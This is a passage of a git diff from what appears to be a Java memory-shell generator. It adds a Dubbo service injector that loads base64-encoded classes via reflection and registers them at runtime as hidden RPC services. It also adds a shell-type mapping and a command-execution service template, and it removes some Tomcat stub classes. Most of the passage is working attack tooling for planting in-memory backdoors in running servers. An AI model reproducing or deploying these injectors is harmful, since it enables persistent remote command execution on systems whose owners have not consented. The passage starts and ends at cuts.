byteArrayOutputStream.toByteArray(); + } + } + + public String registerService() throws Exception { + String strNormalizePath = normalizePath(getUrlPattern()); + if (strNormalizePath.isEmpty()) { + throw new IllegalArgumentException("path must not be empty"); + } + if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) { + Class shell = loadClass(getHelperBase64String()); + Class shell2 = loadClass(getBase64String()); + validateServiceTypes(shell, shell2); + ServiceConfig serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2)); + if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) { + return resolveServiceAddresses(strNormalizePath); + } + try { + serviceConfigCreateServiceConfig.export(); + return resolveServiceAddresses(strNormalizePath); + } catch (RuntimeException e) { + DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig); + throw e; + } + } + return resolveServiceAddresses(strNormalizePath); + } + + private boolean isPathRegisteredInFramework(String str) { + try { + for (Object obj : getRegisteredServices()) { + if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) { + return true; + } + } + return false; + } catch (Exception e) { + return false; + } + } + + private Collection getRegisteredServices() { + try { + Object configManager = resolveConfigManager(); + return toList(invokeNoArgs(configManager, "getServices")); + } catch (Exception e) { + try { + Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null); + Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke); + Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2); + return toList(invokeNoArgs(objInvoke3, "getServices")); + } catch (Exception e2) { + return new ArrayList<>(); + } + } + } + + private String normalizePath(String str) { + if (str == null) { + return ""; + } + String strTrim = str.trim(); + while (true) { + String str2 = strTrim; + if (!str2.startsWith("/")) { + return str2; + } + strTrim = str2.substring(1); + } + } + + private void validateServiceTypes(Class cls, Class cls2) { + if (!cls.isInterface()) { + throw new IllegalArgumentException("not an interface: " + cls.getName()); + } + if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) { + throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName()); + } + if (!cls.isAssignableFrom(cls2)) { + throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName()); + } + } + + private Object instantiate(Class cls) { + try { + Constructor declaredConstructor = cls.getDeclaredConstructor(); + declaredConstructor.setAccessible(true); + return declaredConstructor.newInstance(); + } catch (Exception e) { + throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e); + } + } + + private ServiceConfig createServiceConfig(String str, Class cls, Object obj) { + Object configManager = resolveConfigManager(); + ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager); + ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider); + ServiceConfig serviceConfig = new ServiceConfig<>(); + serviceConfig.setInterface(cls); + serviceConfig.setRef(obj); + serviceConfig.setPath(str); + serviceConfig.setProxy("jdk"); + if (providerConfigSanitizeProviderConfig != null) { + serviceConfig.setProvider(providerConfigSanitizeProviderConfig); + } + ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication"))); + if (applicationConfig != null) { + serviceConfig.setApplication(applicationConfig); + } + String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider); + if (strResolveConfiguredVersion != null) { + serviceConfig.setVersion(strResolveConfiguredVersion); + } + serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager)); + serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries"))))); + return serviceConfig; + } + + private ProviderConfig resolveDefaultProvider(Object obj) { + ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider"))); + if (providerConfigCastProviderConfig != null) { + return providerConfigCastProviderConfig; + } + Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule"); + if (objInvokeNoArgs == null) { + objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule"); + } + Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager"); + ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider"))); + return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders")))); + } + + private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) { + if (providerConfig == null) { + return null; + } + List registries = providerConfig.getRegistries(); + if (registries == null || filterValidRegistries(registries).size() == registries.size()) { + return providerConfig; + } + return null; + } + + private List filterValidRegistries(Collection collection) { + if (collection == null) { + return new ArrayList<>(); + } + return collection.stream() + .filter(registryConfig -> registryConfig != null && registryConfig.isValid()) + .collect(Collectors.toList()); + } + + private List resolveRegistriesForExport(Collection collection, Collection collection2) { + List listFilterValidRegistries = filterValidRegistries(collection); + if (!listFilterValidRegistries.isEmpty()) { + return listFilterValidRegistries; + } + List listFilterValidRegistries2 = filterValidRegistries(collection2); + return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A")); + } + + private String resolveConfiguredVersion(Object obj) { + return stringValue(invokeNoArgs(obj, "getVersion"), null); + } + + private List resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) { + return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices()); + } + + private List resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection collection) { + return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection)); + } + + private List collectProtocolsFromServices(Collection collection) { + List arrayList = new ArrayList<>(); + if (collection != null) { + try { + for (Object service : collection) { + try { + arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols")))); + } catch (Exception e) { + } + } + } catch (Exception e2) { + } + } + try { + for (Object exportedProvider : getExportedProviders()) { + try { + Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig"); + if (objInvokeNoArgs != null) { + arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols")))); + } + } catch (Exception e3) { + } + } + } catch (Exception e4) { + } + return arrayList; + } + + private Collection getExportedProviders() { + try { + Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null); + return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke); + } catch (Exception e) { + try { + Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null); + Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2); + Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3); + return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4); + } catch (Exception e2) { + return new ArrayList<>(); + } + } + } + + private String resolveServiceAddresses(String str) { + String strNormalizePath = normalizePath(str); + Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath); + if (objFindRegisteredService == null) { + objFindRegisteredService = findRegisteredService(strNormalizePath); + } + if (objFindRegisteredService == null) { + return strNormalizePath; + } + List listExtractExportedUrls = extractExportedUrls(objFindRegisteredService); + if (!listExtractExportedUrls.isEmpty()) { + return formatUrls(listExtractExportedUrls); + } + List listResolveProtocols = resolveProtocols(objFindRegisteredService); + if (listResolveProtocols.isEmpty()) { + return strNormalizePath; + } + return formatProtocolAddresses(listResolveProtocols, strNormalizePath); + } + + private Object findRegisteredService(String str) { + for (Object obj : getRegisteredServices()) { + if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) { + return obj; + } + } + return null; + } + + private List extractExportedUrls(Object obj) { + List list = toList(invokeNoArgs(obj, "getExportedUrls")); + if (!list.isEmpty()) { + return list; + } + List list2 = toList(getFieldValue(obj, "exporters")); + if (list2.isEmpty()) { + return new ArrayList<>(); + } + List arrayList = new ArrayList<>(); + for (Object exporter : list2) { + Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl"); + if (objInvokeNoArgs != null) { + arrayList.add(objInvokeNoArgs); + } + } + return arrayList; + } + + private List resolveProtocols(Object obj) { + List list = toList(invokeNoArgs(obj, "getProtocols")); + Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider"); + List listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager()); + return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols); + } + + private Object invokeNoArgs(Object obj, String str) { + if (obj == null) { + return null; + } + try { + return obj.getClass().getMethod(str).invoke(obj); + } catch (Exception e) { + return null; + } + } + + private Object invokeStaticNoArgs(Class cls, String str) { + try { + return cls.getMethod(str).invoke(null); + } catch (Exception e) { + return null; + } + } + + private Object getFieldValue(Object obj, String str) { + if (obj == null) { + return null; + } + Class superclass = obj.getClass(); + while (true) { + Class cls = superclass; + if (cls == null) { + return null; + } + try { + Field declaredField = cls.getDeclaredField(str); + declaredField.setAccessible(true); + return declaredField.get(obj); + } catch (Exception e) { + superclass = cls.getSuperclass(); + } + } + } + + private List toList(Object obj) { + Object value = extractOptionalValue(obj); + if (value instanceof Collection) { + return new ArrayList<>((Collection) value); + } + if (value instanceof Map) { + return new ArrayList<>(((Map) value).values()); + } + return new ArrayList<>(); + } + + private Object extractOptionalValue(Object obj) { + if (obj instanceof Optional) { + return ((Optional) obj).orElse(null); + } + return obj; + } + + private Object firstElement(List list) { + if (list.isEmpty()) { + return null; + } + return list.get(0); + } + + private ProviderConfig castProviderConfig(Object obj) { + if (obj instanceof ProviderConfig) { + return (ProviderConfig) obj; + } + return null; + } + + private ApplicationConfig castApplicationConfig(Object obj) { + if (obj instanceof ApplicationConfig) { + return (ApplicationConfig) obj; + } + return null; + } + + private List castRegistries(List list) { + return list.stream() + .filter(RegistryConfig.class::isInstance) + .map(RegistryConfig.class::cast) + .collect(Collectors.toList()); + } + + private Object resolveConfigManager() { + Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager"); + if (objInvokeStaticNoArgs != null) { + return objInvokeStaticNoArgs; + } + Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel"); + Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule"); + return invokeNoArgs(objInvokeNoArgs, "getConfigManager"); + } + + private String formatUrls(List list) { + return list.stream() + .map(this::formatUrl) + .collect(Collectors.joining(", ")); + } + + private String formatProtocolAddresses(List list, String str) { + return list.stream() + .map(obj -> formatProtocolAddress(obj, str)) + .collect(Collectors.joining(", ")); + } + + private String formatUrl(Object obj) { + String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo"); + String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")); + Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort")); + return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath); + } + + private String formatProtocolAddress(Object obj, String str) { + String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo"); + Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort")); + return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str); + } + + private String stringValue(Object obj, String str) { + return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj; + } + + private Integer integerValue(Object obj) { + if (obj instanceof Number) { + return Integer.valueOf(((Number) obj).intValue()); + } + return null; + } + + private List castProtocols(List list) { + return list.stream() + .filter(ProtocolConfig.class::isInstance) + .map(ProtocolConfig.class::cast) + .collect(Collectors.toList()); + } + + private List mergeProtocols(Collection collection, Collection collection2) { + LinkedHashMap linkedHashMap = new LinkedHashMap<>(); + addProtocols(linkedHashMap, collection); + addProtocols(linkedHashMap, collection2); + return new ArrayList<>(linkedHashMap.values()); + } + + private void addProtocols(Map map, Collection collection) { + if (collection == null) { + return; + } + for (ProtocolConfig protocolConfig : collection) { + if (protocolConfig != null) { + map.put(protocolKey(protocolConfig), protocolConfig); + } + } + } + + private String protocolKey(ProtocolConfig protocolConfig) { + return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId()); + } + + private String getErrorMessage(Throwable th) { + try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + PrintStream printStream = new PrintStream(byteArrayOutputStream)) { + th.printStackTrace(printStream); + return byteArrayOutputStream.toString(); + } catch (IOException e) { + return String.valueOf(th); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Dubbo.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Dubbo.java new file mode 100644 index 00000000..cd4ce3d8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Dubbo.java @@ -0,0 +1,15 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector; +import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector; + +public class Dubbo extends AbstractServer { + @Override + public InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class) + .addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class) + .build(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/ShellDubboService.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/ShellDubboService.java new file mode 100644 index 00000000..024fab6c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/ShellDubboService.java @@ -0,0 +1,5 @@ +package com.reajason.javaweb.memshell.shelltool; + +public interface ShellDubboService { + byte[] handle(byte[] bytes); +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandDubboService.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandDubboService.java new file mode 100644 index 00000000..e7c4502f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandDubboService.java @@ -0,0 +1,75 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.util.Scanner; + +public class CommandDubboService { + + public byte[] handle(byte[] bytes) { + if (bytes == null || bytes.length == 0) { + return new byte[0]; + } + String p = new String(bytes); + String param = getParam(p); + try { + InputStream inputStream = getInputStream(param); + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + outputStream.flush(); + outputStream.close(); + return outputStream.toByteArray(); + } catch (Exception e) { + return getErrorMessage(e).getBytes(); + } + } + + private String getParam(String param) { + return param; + } + + private InputStream getInputStream(String param) throws Exception { + return null; + } + + @SuppressWarnings("all") + public Object unwrap(Object obj, String fieldName) { + try { + return getFieldValue(obj, fieldName); + } catch (Throwable e) { + return obj; + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java index 62afddb9..ba4fe174 100644 --- a/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java @@ -145,7 +145,7 @@ public static String generateShellClassName(String server, String shellType) { + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType; } - public static String getSimpleName(String injectorClassName) { - return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1); + public static String getSimpleName(String className) { + return className.substring(className.lastIndexOf(".") + 1); } } \ No newline at end of file diff --git a/generator/src/main/java/org/apache/catalina/Valve.java b/generator/src/main/java/org/apache/catalina/Valve.java deleted file mode 100644 index 0b9fb834..00000000 --- a/generator/src/main/java/org/apache/catalina/Valve.java +++ /dev/null @@ -1,25 +0,0 @@ -package org.apache.catalina; - -import org.apache.catalina.connector.Request; -import org.apache.catalina.connector.Response; - -import javax.servlet.ServletException; -import java.io.IOException; - -/** - * @author ReaJason - * @since 2024/12/27 - */ -public interface Valve { - - public Valve getNext(); - - public void setNext(Valve valve); - - public void backgroundProcess(); - - public void invoke(Request request, Response response) - throws IOException, ServletException; - - public boolean isAsyncSupported(); -} diff --git a/generator/src/main/java/org/apache/catalina/connector/Request.java b/generator/src/main/java/org/apache/catalina/connector/Request.java deleted file mode 100644 index 9e0bef4f..00000000 --- a/generator/src/main/java/org/apache/catalina/connector/Request.java +++ /dev/null @@ -1,349 +0,0 @@ -package org.apache.catalina.connector; - -import javax.servlet.*; -import javax.servlet.http.*; -import java.io.BufferedReader; -import java.io.IOException; -import java.io.UnsupportedEncodingException; -import java.security.Principal; -import java.util.*; - -/** - * @author ReaJason - * @since 2024/12/27 - */ -public class Request implements HttpServletRequest { - @Override - public String getAuthType() { - return ""; - } - - @Override - public Cookie[] getCookies() { - return new Cookie[0]; - } - - @Override - public long getDateHeader(String name) { - return 0; - } - - @Override - public String getHeader(String name) { - return ""; - } - - @Override - public Enumeration getHeaders(String name) { - return null; - } - - @Override - public Enumeration getHeaderNames() { - return null; - } - - @Override - public int getIntHeader(String name) { - return 0; - } - - @Override - public String getMethod() { - return ""; - } - - @Override - public String getPathInfo() { - return ""; - } - - @Override - public String getPathTranslated() { - return ""; - } - - @Override - public String getContextPath() { - return ""; - } - - @Override - public String getQueryString() { - return ""; - } - - @Override - public String getRemoteUser() { - return ""; - } - - @Override - public boolean isUserInRole(String role) { - return false; - } - - @Override - public Principal getUserPrincipal() { - return null; - } - - @Override - public String getRequestedSessionId() { - return ""; - } - - @Override - public String getRequestURI() { - return ""; - } - - @Override - public StringBuffer getRequestURL() { - return null; - } - - @Override - public String getServletPath() { - return ""; - } - - @Override - public HttpSession getSession(boolean create) { - return null; - } - - @Override - public HttpSession getSession() { - return null; - } - - @Override - public boolean isRequestedSessionIdValid() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromCookie() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromURL() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromUrl() { - return false; - } - - @Override - public boolean authenticate(HttpServletResponse response) throws IOException, ServletException { - return false; - } - - @Override - public void login(String username, String password) throws ServletException { - - } - - @Override - public void logout() throws ServletException { - - } - - @Override - public Collection getParts() throws IOException, ServletException { - return Collections.emptyList(); - } - - @Override - public Part getPart(String name) throws IOException, ServletException { - return null; - } - - @Override - public Object getAttribute(String name) { - return null; - } - - @Override - public Enumeration getAttributeNames() { - return null; - } - - @Override - public String getCharacterEncoding() { - return ""; - } - - @Override - public void setCharacterEncoding(String env) throws UnsupportedEncodingException { - - } - - @Override - public int getContentLength() { - return 0; - } - - @Override - public String getContentType() { - return ""; - } - - @Override - public ServletInputStream getInputStream() throws IOException { - return null; - } - - @Override - public String getParameter(String name) { - return ""; - } - - @Override - public Enumeration getParameterNames() { - return null; - } - - @Override - public String[] getParameterValues(String name) { - return new String[0]; - } - - @Override - public Map getParameterMap() { - return Collections.emptyMap(); - } - - @Override - public String getProtocol() { - return ""; - } - - @Override - public String getScheme() { - return ""; - } - - @Override - public String getServerName() { - return ""; - } - - @Override - public int getServerPort() { - return 0; - } - - @Override - public BufferedReader getReader() throws IOException { - return null; - } - - @Override - public String getRemoteAddr() { - return ""; - } - - @Override - public String getRemoteHost() { - return ""; - } - - @Override - public void setAttribute(String name, Object o) { - - } - - @Override - public void removeAttribute(String name) { - - } - - @Override - public Locale getLocale() { - return null; - } - - @Override - public Enumeration getLocales() { - return null; - } - - @Override - public boolean isSecure() { - return false; - } - - @Override - public RequestDispatcher getRequestDispatcher(String path) { - return null; - } - - @Override - public String getRealPath(String path) { - return ""; - } - - @Override - public int getRemotePort() { - return 0; - } - - @Override - public String getLocalName() { - return ""; - } - - @Override - public String getLocalAddr() { - return ""; - } - - @Override - public int getLocalPort() { - return 0; - } - - @Override - public ServletContext getServletContext() { - return null; - } - - @Override - public AsyncContext startAsync() throws IllegalStateException { - return null; - } - - @Override - public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException { - return null; - } - - @Override - public boolean isAsyncStarted() { - return false; - } - - @Override - public boolean isAsyncSupported() { - return false; - } - - @Override - public AsyncContext getAsyncContext() { - return null; - } - - @Override - public DispatcherType getDispatcherType() { - return null; - } - - public Response getResponse() { - return null; - } -} diff --git a/generator/src/main/java/org/apache/catalina/connector/Response.java b/generator/src/main/java/org/apache/catalina/connector/Response.java deleted file mode 100644 index dac89a86..00000000 --- a/generator/src/main/java/org/apache/catalina/connector/Response.java +++ /dev/null @@ -1,196 +0,0 @@ -package org.apache.catalina.connector; - -import javax.servlet.ServletOutputStream; -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.io.PrintWriter; -import java.util.Collection; -import java.util.Collections; -import java.util.Locale; - -/** - * @author ReaJason - * @since 2024/12/27 - */ -public class Response implements HttpServletResponse { - @Override - public void addCookie(Cookie cookie) { - - } - - @Override - public boolean containsHeader(String name) { - return false; - } - - @Override - public String encodeURL(String url) { - return ""; - } - - @Override - public String encodeRedirectURL(String url) { - return ""; - } - - @Override - public String encodeUrl(String url) { - return ""; - } - - @Override - public String encodeRedirectUrl(String url) { - return ""; - } - - @Override - public void sendError(int sc, String msg) throws IOException { - - } - - @Override - public void sendError(int sc) throws IOException { - - } - - @Override - public void sendRedirect(String location) throws IOException { - - } - - @Override - public void setDateHeader(String name, long date) { - - } - - @Override - public void addDateHeader(String name, long date) { - - } - - @Override - public void setHeader(String name, String value) { - - } - - @Override - public void addHeader(String name, String value) { - - } - - @Override - public void setIntHeader(String name, int value) { - - } - - @Override - public void addIntHeader(String name, int value) { - - } - - @Override - public void setStatus(int sc) { - - } - - @Override - public void setStatus(int sc, String sm) { - - } - - @Override - public int getStatus() { - return 0; - } - - @Override - public String getHeader(String name) { - return ""; - } - - @Override - public Collection getHeaders(String name) { - return Collections.emptyList(); - } - - @Override - public Collection getHeaderNames() { - return Collections.emptyList(); - } - - @Override - public String getCharacterEncoding() { - return ""; - } - - @Override - public String getContentType() { - return ""; - } - - @Override - public ServletOutputStream getOutputStream() throws IOException { - return null; - } - - @Override - public PrintWriter getWriter() throws IOException { - return null; - } - - @Override - public void setCharacterEncoding(String charset) { - - } - - @Override - public void setContentLength(int len) { - - } - - @Override - public void setContentType(String type) { - - } - - @Override - public void setBufferSize(int size) { - - } - - @Override - public int getBufferSize() { - return 0; - } - - @Override - public void flushBuffer() throws IOException { - - } - - @Override - public void resetBuffer() { - - } - - @Override - public boolean isCommitted() { - return false; - } - - @Override - public void reset() { - - } - - @Override - public void setLocale(Locale loc) { - - } - - @Override - public Locale getLocale() { - return null; - } -} diff --git a/generator/src/main/java/org/apache/coyote/Adapter.java b/generator/src/main/java/org/apache/coyote/Adapter.java deleted file mode 100644 index 9954623a..00000000 --- a/generator/src/main/java/org/apache/coyote/Adapter.java +++ /dev/null @@ -1,8 +0,0 @@ -package org.apache.coyote; - -/** - * @author ReaJason - * @since 2025/12/6 - */ -public interface Adapter { -} diff --git a/generator/src/main/java/org/apache/coyote/Processor.java b/generator/src/main/java/org/apache/coyote/Processor.java deleted file mode 100644 index ad8f45ab..00000000 --- a/generator/src/main/java/org/apache/coyote/Processor.java +++ /dev/null @@ -1,8 +0,0 @@ -package org.apache.coyote; - -/** - * @author ReaJason - * @since 2025/12/6 - */ -public interface Processor { -} diff --git a/generator/src/main/java/org/apache/coyote/Request.java b/generator/src/main/java/org/apache/coyote/Request.java deleted file mode 100644 index 27387fd0..00000000 --- a/generator/src/main/java/org/apache/coyote/Request.java +++ /dev/null @@ -1,11 +0,0 @@ -package org.apache.coyote; - -/** - * @author ReaJason - * @since 2025/12/6 - */ -public class Request { - public Object getNote(int id) { - return null; - } -} diff --git a/generator/src/main/java/org/apache/coyote/UpgradeProtocol.java b/generator/src/main/java/org/apache/coyote/UpgradeProtocol.java deleted file mode 100644 index bb1bfba1..00000000 --- a/generator/src/main/java/org/apache/coyote/UpgradeProtocol.java +++ /dev/null @@ -1,22 +0,0 @@ -package org.apache.coyote; - -import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler; -import org.apache.tomcat.util.net.SocketWrapperBase; - -/** - * @author ReaJason - * @since 2025/12/6 - */ -public interface UpgradeProtocol { - public String getHttpUpgradeName(boolean isSSLEnabled); - - public byte[] getAlpnIdentifier(); - - public String getAlpnName(); - - public Processor getProcessor(SocketWrapperBase socketWrapper, Adapter adapter); - - public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request); - - public boolean accept(Request request); -} diff --git a/generator/src/main/java/org/apache/coyote/http11/upgrade/InternalHttpUpgradeHandler.java b/generator/src/main/java/org/apache/coyote/http11/upgrade/InternalHttpUpgradeHandler.java deleted file mode 100644 index c37068b5..00000000 --- a/generator/src/main/java/org/apache/coyote/http11/upgrade/InternalHttpUpgradeHandler.java +++ /dev/null @@ -1,8 +0,0 @@ -package org.apache.coyote.http11.upgrade; - -/** - * @author ReaJason - * @since 2025/12/6 - */ -public interface InternalHttpUpgradeHandler { -} diff --git a/generator/src/main/java/org/apache/tomcat/util/net/SocketWrapperBase.java b/generator/src/main/java/org/apache/tomcat/util/net/SocketWrapperBase.java deleted file mode 100644 index b3868a99..00000000 --- a/generator/src/main/java/org/apache/tomcat/util/net/SocketWrapperBase.java +++ /dev/null @@ -1,8 +0,0 @@ -package org.apache.tomcat.util.net; - -/** - * @author ReaJason - * @since 2025/12/6 - */ -public class SocketWrapperBase { -} diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 55a5707a..437b9017 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -11,6 +11,9 @@ spring-webflux = "5.3.24" reactor-netty = "1.1.25" jackson = "2.19.0" jetbrains-annotations = "26.0.2" +alibaba-dubbo = "2.6.12" +apache-dubbo = "2.7.6" +tomcat = "8.5.85" byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io @@ -26,18 +29,21 @@ hamcrest = "3.0" junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter junit-pioneer = "2.3.0" junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher -testcontainers = "2.0.3" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers +testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers [libraries] +alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" } +apache-dubbo = { module = "org.apache.dubbo:dubbo", version.ref = "apache-dubbo" } byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" } +tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "tomcat" } asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" } jna = { module = "net.java.dev.jna:jna", version.ref = "jna" } jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" } javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" } jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" } javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" } -jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"} -jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"} +jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api" } +jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api" } spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" } spring-webflux = { module = "org.springframework:spring-webflux", version.ref = 